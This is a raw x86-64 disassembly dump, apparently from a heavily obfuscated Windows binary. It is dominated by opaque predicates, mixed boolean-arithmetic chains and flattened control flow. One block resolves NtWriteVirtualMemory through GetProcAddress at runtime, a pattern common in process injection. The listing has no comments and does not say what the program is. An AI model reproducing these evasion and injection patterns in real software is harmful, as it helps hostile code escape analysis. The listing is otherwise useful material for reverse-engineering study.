mov edx, 0x8d476257
mov ecx, 0x40b64323
cmovne edx, ecx
test al, 1
mov ecx, 0x8d476257
cmovne ecx, edx
test bl, bl
jmp 0x1400c9dae
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x8030a210
and edx, 0x54c61863
or edx, ecx
mov ebx, edx
xor ebx, 0x840800
xor edx, 0x88380584
or ebp, 0xd4f6ba73
mov ecx, ebp
not ecx
and edx, 0xdc7a15e7
and ebx, 0x84aa10
or ebx, edx
and ebp, 0xdc7a15e7
and ecx, 0x23014008
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x2b09458c
and ecx, 0xd4f6ba73
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebx, ecx
not ebx
or ecx, 0xa7a3daed
mov ebp, ecx
not ebp
or ebx, 0x585c2512
mov edx, ebx
not edx
and ecx, 0x70a21b84
and ebp, 0x85c2412
or ebp, ecx
and ebx, 0x70a21b84
and edx, 0x8701c069
or edx, ebx
xor edx, ebp
mov ecx, edx
not ecx
and ecx, 0xa7a3daed
and edx, 0x585c2512
or edx, ecx
sete r9b
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
and al, bl
mov ebx, r8d
or bl, al
xor al, 1
xor bl, 1
or al, r9b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor r9b, cl
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
mov ebx, edx
xor dl, 1
and dl, al
xor al, 1
and bl, al
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xffcfca88
mov ecx, 0x75300e7f
cmovne ebp, ecx
test al, 1
mov ecx, 0xffcfca88
cmovne ecx, ebp
jmp 0x1400c94e2
mov eax, dword [0x14024b728]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x1e351e06
and eax, ecx
not ecx
and ecx, 0x10040406
and edx, 0xe311a00
or edx, ecx
xor edx, 0xe311a00
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe1cae1f9
and eax, 0x1e351e06
or eax, ecx
mov ebp, eax
not ebp
mov ecx, ebp
and ecx, 0x45d901bc
and eax, 0xba26fe43
or eax, ecx
mov esi, eax
xor esi, 0xba26fe43
xor eax, 0x45d901bc
mov ebx, eax
or ebx, 0x7d74a574
mov edi, ebx
not edi
or ebp, 0x828b5a8b
mov edx, ebp
not edx
and ebx, 0xaa7c2513
and edi, 0x835a88
or edi, ebx
and ebp, 0xaa7c2513
and edx, 0x55008064
or edx, ebp
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0x7d74a575
and edx, 0x828b5a8a
or edx, ebp
and eax, 0x74b01281
mov ecx, esi
and ecx, 0x8b4fed7e
or ecx, eax
xor ecx, 0x74b01280
and esi, 1
or esi, ecx
mov ecx, esi
not ecx
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x504dff34
and edx, 0xafb200cb
or edx, ebp
or eax, esi
and esi, 0x504dff34
and ecx, 0xafb200cb
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x8ba34c44
and ecx, eax
and eax, 0x745cb3bb
or eax, edx
mov edx, eax
xor edx, 0x70040209
xor eax, 0x8ba34c44
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xcf9fdf6
and edx, 0xf3060209
or edx, ebx
or eax, ebp
and ebp, 0xcf9fdf6
and ecx, 0xf3060209
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x6c437f50
and ecx, 0x93bc80af
or ecx, eax
xor ecx, 0x93bc80af
sete cl
setne dl
cmp dword [0x14024b724], 0xa
setl bl
xor dl, bl
xor dl, 1
mov r8d, ebx
or r8b, cl
xor r8b, 1
or r8b, dl
mov edx, ecx
xor dl, bl
and cl, dl
and dl, bl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
mov eax, edx
and al, cl
mov ebx, eax
xor bl, 1
xor al, dl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
and al, r8b
mov edx, r8d
and dl, cl
xor cl, r8b
xor r8b, 1
xor bl, 1
and bl, r8b
or bl, al
or cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x657caa
mov edx, 0x5457f1e4
cmovne eax, edx
test cl, 1
mov ecx, 0x657caa
jmp 0x1400ca5e3
mov rcx, qword [0x14024b040]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x32a58ea9
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0xc46ba55c
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x7822c2c6
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0xe998f6a0
and ebp, ecx
or ecx, 0x1667095f
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x2f56739
and edx, 0xe9089080
or edx, edi
or ecx, ebx
and ebx, 0x2f56739
and ebp, 0xfd0a98c6
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x1667095f
and ecx, 0xe998f6a0
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
or ecx, 0x64c49032
mov ebx, ecx
not ebx
or ebp, 0x9b3b6fcd
mov edx, ebp
not edx
and ecx, 0xe6d3a4cd
and ebx, 0x19284b00
or ebx, ecx
and ebp, 0xe6d3a4cd
and edx, 0x41032
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x64c49032
and edx, 0x9b3b6fcd
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x75534ef2
and edx, 0x8aacb10d
or edx, ebp
xor edx, 0x8aacb10d
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov r9d, edx
and r9b, al
mov ebx, r8d
and bl, cl
or bl, r9b
xor al, bl
and al, bl
or dl, r8b
xor dl, 1
xor cl, r8b
and cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x8170b529
mov ebp, 0x5b5ce7d0
jmp 0x1400ca6ea
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xebfa0b3d
and ecx, 0x1405f4c2
or ecx, edx
mov ebx, ecx
xor ebx, 0x1405f4c2
xor ecx, 0xebfa0b3d
mov ebp, ecx
and ebp, 0x7eaa3657
mov edx, ebx
and edx, 0x8155c9a8
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x8155c9a9
and edx, 0x7eaa3656
or edx, ebp
and ebx, 0x4c86f94
mov ebp, ecx
and ebp, 0xfb37906b
or ebp, ebx
xor ebp, 0x4c86f95
and ecx, 1
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xc36d45a2
and ecx, 0x3c92ba5d
or ecx, edx
mov edx, ecx
xor edx, 0x24029015
xor ecx, 0x43684022
and ecx, 0x5bf86a6a
and edx, 0xa4079595
or edx, ecx
mov ecx, edx
xor ecx, 0x8900a0a
xor edx, 0xa4079595
mov ebp, edx
and ebp, 0xd76d61e4
and ecx, 0x28929e1b
or ecx, ebp
xor ecx, 0x28929e1b
or ecx, edx
cmp ecx, 0xffffffff
setne r9b
sete r8b
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, r8b
or r9b, bl
or bl, r8b
xor bl, 1
or bl, al
mov eax, ebx
not al
or dl, r8b
mov ecx, r9d
xor cl, dl
or dl, r9b
xor dl, 1
or dl, cl
mov r8d, edx
xor r8b, 1
and al, bl
mov ecx, edx
and cl, r8b
xor al, 1
mov r9d, eax
xor r9b, bl
or al, bl
xor al, 1
or al, r9b
mov r9d, ecx
and r9b, dl
xor cl, dl
or cl, r9b
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
and cl, al
or cl, dl
mov eax, ebx
and al, r8b
xor r8b, bl
or r8b, al
mov eax, r8d
xor al, cl
test al, 1
mov eax, 0xa3b367b7
mov edx, 0x9ba024da
cmovne eax, edx
test r8b, 1
mov edx, 0xa3b367b7
cmovne edx, eax
test cl, 1
cmove edx, eax
jmp 0x1400ca372
mov ecx, dword [0x14024b728]
mov esi, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0x52e53572
mov edx, ebp
and edx, 0xad1aca8c
or edx, ecx
mov edi, edx
xor edi, 0x2d08c284
xor edx, 0x50453170
mov ecx, ebp
or ecx, 0xd0573978
and edx, 0xd0573978
and edi, 0x2fa8c686
or edi, edx
and ecx, 0xd0573979
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x93e5afd3
and ecx, 0x6c1a502c
or ecx, edx
xor ecx, 0x6c1a502c
and ebx, 0x77ace508
and ebp, 0x88531af7
or ebp, ebx
xor ebp, 0x88531af7
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
cmp ebp, 0xffffffff
sete al
setne r9b
cmp esi, 9
setg bl
cmp esi, 0xa
setl r8b
xor al, r9b
and al, r9b
mov ecx, eax
xor cl, 1
or cl, al
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r10d, ecx
xor r10b, 1
and cl, r8b
and r10b, bl
or r10b, cl
mov ecx, ebx
and cl, r9b
xor bl, r9b
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov r8d, ecx
xor r8b, 1
mov ebx, r10d
xor bl, 1
mov eax, ebx
and al, r10b
mov edx, r8d
and dl, cl
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
xor r8b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r8b
xor dl, al
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xb3dc4964
mov ebp, 0xfec22421
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
not al
test al, 1
mov eax, 0xb3dc4964
jmp 0x1400ca4f3
mov ecx, dword [0x14024b728]
lea eax, [rcx - 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x5ed7bd5
and edx, eax
and eax, 0xfa12842a
or eax, ecx
xor eax, 0xfa12842a
mov ecx, eax
and ecx, edx
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov ebp, eax
or ebp, 0xcb7a5c70
mov ebx, ebp
not ebx
mov edx, eax
xor edx, 0x3485a38f
and edx, eax
mov edi, edx
not edi
mov esi, ebp
and esi, 0x68d02e70
and ebx, 0x1405818f
or ebx, esi
or ebp, edi
and edi, 0x68d02e70
and edx, 0x972fd18f
or edx, edi
xor edx, ebx
not ebp
or ebp, edx
mov edx, ebp
not edx
and edx, 0xcb7a5c71
and ebp, 0x3485a38e
or ebp, edx
and eax, 0x424c2c99
mov edx, ecx
and edx, 0xbdb3d366
or edx, eax
xor edx, 0x424c2c98
and ecx, 1
or ecx, edx
mov eax, ecx
not eax
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0xd8858997
and ebp, 0x277a7668
or ebp, ebx
or edx, ecx
and ecx, 0xd8858997
and eax, 0x277a7668
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xcf6d2d13
and eax, edx
and edx, 0x3092d2ec
or edx, ecx
xor edx, 0x3092d2ec
mov ecx, edx
and ecx, eax
xor edx, eax
or edx, ecx
setne dl
cmp dword [0x14024b724], 0xa
setl cl
mov eax, ecx
xor al, dl
mov r10d, ecx
xor r10b, al
not r10b
and r10b, al
or dl, cl
xor dl, 1
not al
and al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov r9d, r10d
xor r9b, 1
mov r8d, eax
xor r8b, 1
mov ebx, r10d
and bl, r9b
mov edx, eax
and dl, r8b
mov ecx, ebx
xor cl, 1
xor bl, r10b
or cl, r9b
xor cl, 1
or cl, bl
xor dl, 1
mov ebx, edx
xor bl, r8b
or dl, r8b
xor dl, 1
or dl, bl
xor dl, cl
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xa3909537
mov eax, 0x4fe97743
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0xa3909537
jmp 0x1400ca6f6
mov ecx, 0xbe0d0dad
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov rsi, qword [rsp + 0x38]
mov edx, dword [0x14024b728]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0x8ff6591e
mov edx, ebp
and edx, 0x7009a6e0
or edx, ecx
xor edx, 0x7009a6e0
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov edi, edx
and edi, ecx
xor ecx, edx
mov edx, dword [0x14024b724]
or ecx, edi
mov edi, ecx
not edi
and ebx, edi
and ecx, ebp
or ecx, ebx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne cl
cmp edx, 0xa
setl r8b
cmp edx, 9
setg dl
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov eax, edx
xor al, 1
mov ebx, ecx
or bl, r8b
xor bl, 1
xor cl, r8b
not cl
and cl, r8b
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov ebx, ecx
xor bl, 1
and cl, dl
and al, bl
or al, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x42a52f38
mov ecx, 0x75300e7f
cmovne edx, ecx
test bl, 1
mov ecx, 0x42a52f38
cmovne ecx, edx
mov qword [0x14024b060], rsi
test al, al
jmp 0x1400c9dae
mov ecx, 0x4171ed0
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0xa44743c5
and ebp, ecx
and edx, 0xa44743c5
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x15ae68b0
and edx, 0xea51974f
or edx, ebp
xor edx, 0xb1e92b74
mov ebp, ecx
and ebp, 1
xor ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x61f7e6a1
and ecx, 0x9e08195e
or ecx, ebp
xor ecx, 0x9e08195e
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x6fae2377
and ecx, 0x9051dc88
or ecx, edx
mov edx, ecx
xor edx, 0x80010800
xor ecx, 0x6fae2377
mov ebp, ecx
and ebp, 0x3a52d49b
and edx, 0xc5ad2b64
or edx, ebp
xor edx, 0xc5ad2b64
or edx, ecx
cmp edx, 0xffffffff
sete r9b
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, dl
mov ecx, eax
xor cl, dl
or cl, bl
mov r10d, ecx
not r10b
xor al, r9b
not al
and al, r9b
xor dl, r8b
not dl
and dl, r8b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, 1
and dl, cl
or cl, al
and al, r10b
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x6d619bb0
mov ebp, 0x7e3ef2fa
cmovne eax, ebp
test cl, cl
mov ecx, 0x6d619bb0
cmovne eax, ecx
test dl, 1
jmp 0x1400c9a3a
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x26c1c58a
mov ebx, ecx
and ebx, 0xd93e3a74
or ebx, edx
mov edx, ebx
xor edx, 0x981c2020
xor ebx, 0x408080
mov edi, ecx
or edi, 0x41629ad4
and ebx, 0x41629ad4
and edx, 0xbe9d652a
or edx, ebx
and edi, 0x41629ad5
xor edi, edx
not edi
and ebp, 0x28ef34db
and ecx, 0xd710cb24
or ecx, ebp
xor ecx, 0xd710cb24
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1161c534
and ecx, 0xee9e3acb
or ecx, edx
xor ecx, 0xee9e3acb
sete r8b
setne dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and dl, al
mov ebx, ecx
and bl, r8b
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
not al
xor cl, r8b
mov edx, ecx
xor dl, 1
and cl, bl
or bl, dl
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x55be0c2e
mov ecx, 0x4d55396b
cmovne eax, ecx
test dl, dl
mov ecx, eax
mov edx, 0x55be0c2e
cmovne ecx, edx
test bl, bl
jmp 0x1400ca4f3
mov rsi, qword [rsp + 0x38]
mov ebp, dword [0x14024b728]
mov ecx, dword [0x14024b724]
lea edx, [rbp - 1]
imul edx, ebp
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0xcef7a466
and ebp, edx
and edx, 0x31085b99
or edx, ebx
xor edx, 0x31085b99
mov ebx, edx
and ebx, ebp
xor edx, ebp
or edx, ebx
mov ebx, edx
not ebx
mov ebp, ebx
or ebp, 1
mov edi, ebp
not edi
and ebx, 0x4c8f9fff
and edx, 0xb3706000
or edx, ebx
mov ebx, ebp
and ebx, 0xe3e57f89
and edi, 0x1c1a8076
or edi, ebx
mov ebx, edx
xor ebx, 0x10100000
xor edx, 0x4c8f9ffe
or ebp, edx
and edx, 0xe3e57f89
and ebx, 0x1c1a8076
or ebx, edx
xor ebx, edi
not ebp
or ebp, ebx
mov edx, ebp
xor edx, 0xe42898b2
and edx, ebp
or ebp, 0x1bd7674d
mov ebx, ebp
not ebx
mov edi, ebp
and edi, 0x3117a3ee
and ebx, 0xc4281810
or ebx, edi
mov edi, edx
not edi
or ebp, edi
and edi, 0x3117a3ee
and edx, 0xcee85c11
or edx, edi
xor edx, ebx
not ebp
or ebp, edx
mov edx, ebp
not edx
and edx, 0x1bd7674d
and ebp, 0xe42898b2
or ebp, edx
sete r8b
setne bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg cl
mov edx, ebx
and dl, cl
or bl, al
and al, r8b
or al, dl
xor al, 1
or al, cl
xor bl, 1
or cl, r8b
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test dl, 1
mov ecx, 0x2f6c99d1
mov edx, 0xf5e3a6d0
cmovne ecx, edx
test bl, 1
mov ebp, 0x2f6c99d1
cmove ecx, ebp
mov qword [0x14024b060], rsi
test al, 1
cmovne ecx, edx
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x470ab3ec
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x69f6368b
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0xbf7ee473
and ecx, ebp
not ebp
and ebp, 0x9d2e02c1
and edx, 0x62d1fd3e
or edx, ebp
mov ebp, edx
xor ebp, 0x504022
xor edx, 0x9d2e0041
or edx, 0x40811b8c
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xea01b594
and ebp, 0x157e4063
or ebp, edi
or edx, ebx
and ebx, 0xea01b594
and ecx, 0x15fe4a6b
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa228438a
and edx, 0x5dd7bc75
or edx, ecx
mov ecx, edx
xor ecx, 0xe2a95806
mov ebp, edx
xor ebp, 0xe2a95807
and ebp, ecx
xor edx, 0x1d56a7f8
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb498227
mov ebp, ecx
and ebp, 0x44a20048
or ebp, edx
xor ebp, 0x44a20048
and ecx, 0xb0147d90
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xb0147d90
and ecx, 0x4feb826f
or ecx, edx
mov edx, ecx
not edx
and edx, 0x42b65a31
and ecx, 0xbd49a5ce
or ecx, edx
mov edx, ecx
xor edx, 0x39410500
xor ecx, 0x42344800
and ecx, 0xc63ce8ce
and edx, 0x39c31731
or edx, ecx
xor edx, 0x39c31731
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
or dl, bl
or bl, r8b
xor bl, 1
or bl, cl
xor dl, 1
or al, r8b
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov r8d, ecx
mov edx, ebx
xor cl, bl
xor bl, 1
and r8b, bl
and dl, al
or dl, r8b
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x65c09401
mov ebp, 0x87515303
cmovne eax, ebp
test dl, 1
mov r15d, 0x87515303
cmove eax, ebp
test cl, 1
mov ecx, 0x65c09401
jmp 0x1400bca47
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x371119a6
and edx, ebp
not ebp
and ebp, 0x34100984
and ecx, 0x3011022
or ecx, ebp
xor ecx, 0x3011022
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xc8eee659
and edx, 0x371119a6
or edx, ecx
mov ecx, edx
not ecx
mov ebx, edx
or ebx, 0x7e261011
mov edi, ebx
not edi
mov esi, ecx
or esi, 0x81d9efee
mov ebp, esi
not ebp
and ebx, 0xae4932e0
and edi, 0x190cd0e
or edi, ebx
and esi, 0xae4932e0
and ebp, 0x50260011
or ebp, esi
xor ebp, edi
mov ebx, ebp
not ebx
and ebx, 0x8ae96d9d
and ebp, 0x75169262
or ebp, ebx
xor ebp, 0xf4cf7d8d
and edx, 0x3bc26d28
mov ebx, ecx
and ebx, 0xc43d92d7
or ebx, edx
xor ebx, 0x3bc26d29
and ecx, 1
or ecx, ebx
not ecx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x3080820
mov ebp, ecx
and ebp, 0x20512290
or ebp, edx
xor ebp, 0x20512290
and ecx, 0xdca6d54f
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xdca6d54f
and ecx, 0x23592ab0
or ecx, edx
mov edx, ecx
not edx
and edx, 0xfcc5690a
and ecx, 0x33a96f5
or ecx, edx
mov edx, ecx
xor edx, 0x22090b1
xor ecx, 0x1c80610a
and ecx, 0x1d9a674e
and edx, 0xe26598b1
or edx, ecx
mov ecx, edx
xor ecx, 0x900400a
xor edx, 0xe2618010
and edx, 0xf6fba754
and ecx, 0x90458ab
or ecx, edx
xor ecx, 0x90458ab
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
xor bl, 1
or bl, al
mov edx, eax
xor dl, cl
not dl
and dl, cl
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xc8a5ac2c
mov ebp, 0x3967c925
cmovne ecx, ebp
test dl, 1
mov edx, 0xc8a5ac2c
cmove ecx, edx
test al, 1
jmp 0x1400c984f
mov ecx, 0x5180fb45
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x4802742d
and ecx, 0xb7fd8bd2
or ecx, edx
mov ebp, ecx
xor ebp, 0xb7fd8bd2
mov edi, ecx
xor edi, 0x4802742d
mov ebx, edi
and ebx, 0x48e94ea3
mov edx, ecx
xor edx, 0xff14c571
and edx, ebp
mov ebp, ebx
and ebp, edx
xor edx, ebx
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xb716b15d
and edx, 0x48e94ea2
or edx, ebp
and edi, 1
xor ecx, 0x4802742c
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xbfa2fbb9
and ecx, 0x405d0446
or ecx, ebp
xor ecx, 0x405d0446
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xaccad913
and edx, ecx
and ecx, 0x533526ec
or ecx, ebp
xor ecx, 0x533526ec
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov ebx, r9d
xor bl, dl
xor bl, 1
or bl, r8b
mov r10d, ebx
xor r10b, 1
or dl, r9b
or cl, r8b
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov eax, ebx
and al, r10b
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
xor al, dl
xor dl, bl
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xe301a424
mov ebp, 0x545226d7
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0xe301a424
jmp 0x1400ca6f6
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xc4111408
mov ebx, ecx
and ebx, 0x8242b12
or ebx, edx
xor ebx, 0x8242b12
and ecx, 0x33cac0e5
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x33cac0e4
and ecx, 0xcc353f1b
or ecx, edx
not ecx
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xbb0cca02
and ecx, 0x44f335fd
or ecx, edx
xor ecx, 0x44f335fd
sete r9b
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg cl
and dl, cl
mov ebx, r8d
and bl, r9b
or bl, dl
xor cl, bl
and cl, bl
xor r9b, r8b
xor r9b, 1
mov edx, ecx
xor dl, 1
mov eax, ecx
and al, dl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
xor al, r9b
mov ecx, edx
and cl, r9b
xor dl, r9b
or dl, cl
mov ebx, eax
xor bl, dl
test dl, 1
mov ecx, 0xd5490cb7
mov edx, 0x52fc7190
cmovne ecx, edx
test al, 1
cmovne ecx, edx
not bl
test bl, 1
mov eax, 0xd5490cb7
jmp 0x1400ca6f6
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x40410e24
mov ebp, ebx
and ebp, 0x81b00082
or ebp, edx
xor ebp, 0x81b00082
mov edx, ebx
and edx, 0x3e0ef159
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x35fe3aec
and edx, 0xca01c513
or edx, ebp
mov ebp, edx
xor ebp, 0xd003a0
xor edx, 0xf40f344b
mov edi, edx
and edi, 0x8b29d857
and ebp, 0x74d627a8
or ebp, edi
and ebx, 0x8b29d857
and ecx, 0x74d627a8
or ecx, ebx
xor ecx, ebp
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne cl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
mov edx, eax
xor dl, cl
not dl
and dl, cl
or cl, al
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, r9d
xor dl, r8b
and dl, r9b
xor al, r8b
xor dl, 1
xor al, 1
mov ebx, edx
